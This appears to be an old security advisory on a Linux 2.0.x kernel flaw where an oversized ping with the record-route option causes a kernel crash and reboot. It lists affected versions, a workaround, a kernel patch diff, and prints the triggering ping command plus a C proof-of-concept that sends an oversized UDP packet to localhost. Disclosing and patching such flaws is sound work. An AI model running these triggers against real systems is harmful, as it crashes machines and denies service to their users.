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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

When running the command: ping -s 65468 -R some_ip_address ( -R records route) the system starts to print on the screen kernel dumps, freezes completely and after few seconds the system will reboot. Local Linux users can use this as an effective Denial of Service attack.

Credit:
The information has been provided by: Eduardo Cruz.

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Vulnerable systems:
Linux 2.0.35
Linux 2.0.36
Linux 2.0.38

Immune systems:
Linux 2.2.0 and above

Workaround:
For those using RedHat 5.2 an SRPM and i368 RPM containing an alternative ping program can be downloaded via FTP at:
ftp://ox.compsoc.net/users/swhite/ping/

Patch
The following patch can be used to patch Linux 2.0.38:

diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@

if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0xffff-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}
if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

The patch is also available at:
ftp://ftp.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz

Exploit code
The following exploit code can be used to test whether your system is affected:

/* Exploit option length missing checks in Linux-2.0.38
Andrea Arcangeli <andrea@suse.de> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
int sk;
struct sockaddr_in sin;
struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
char payload[PAYLOAD_SIZE];

sk = socket(AF_INET, SOCK_DGRAM, 0);
if (sk < 0)
perror("socket"), exit(1);

if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
perror("setsockopt"), exit(1);

bzero((char *)&sin, sizeof(sin));

sin.sin_port = htons(0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(2130706433);

if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
perror("connect"), exit(1);

if (write(sk, payload, PAYLOAD_SIZE) < 0)
perror("write"), exit(1);
}

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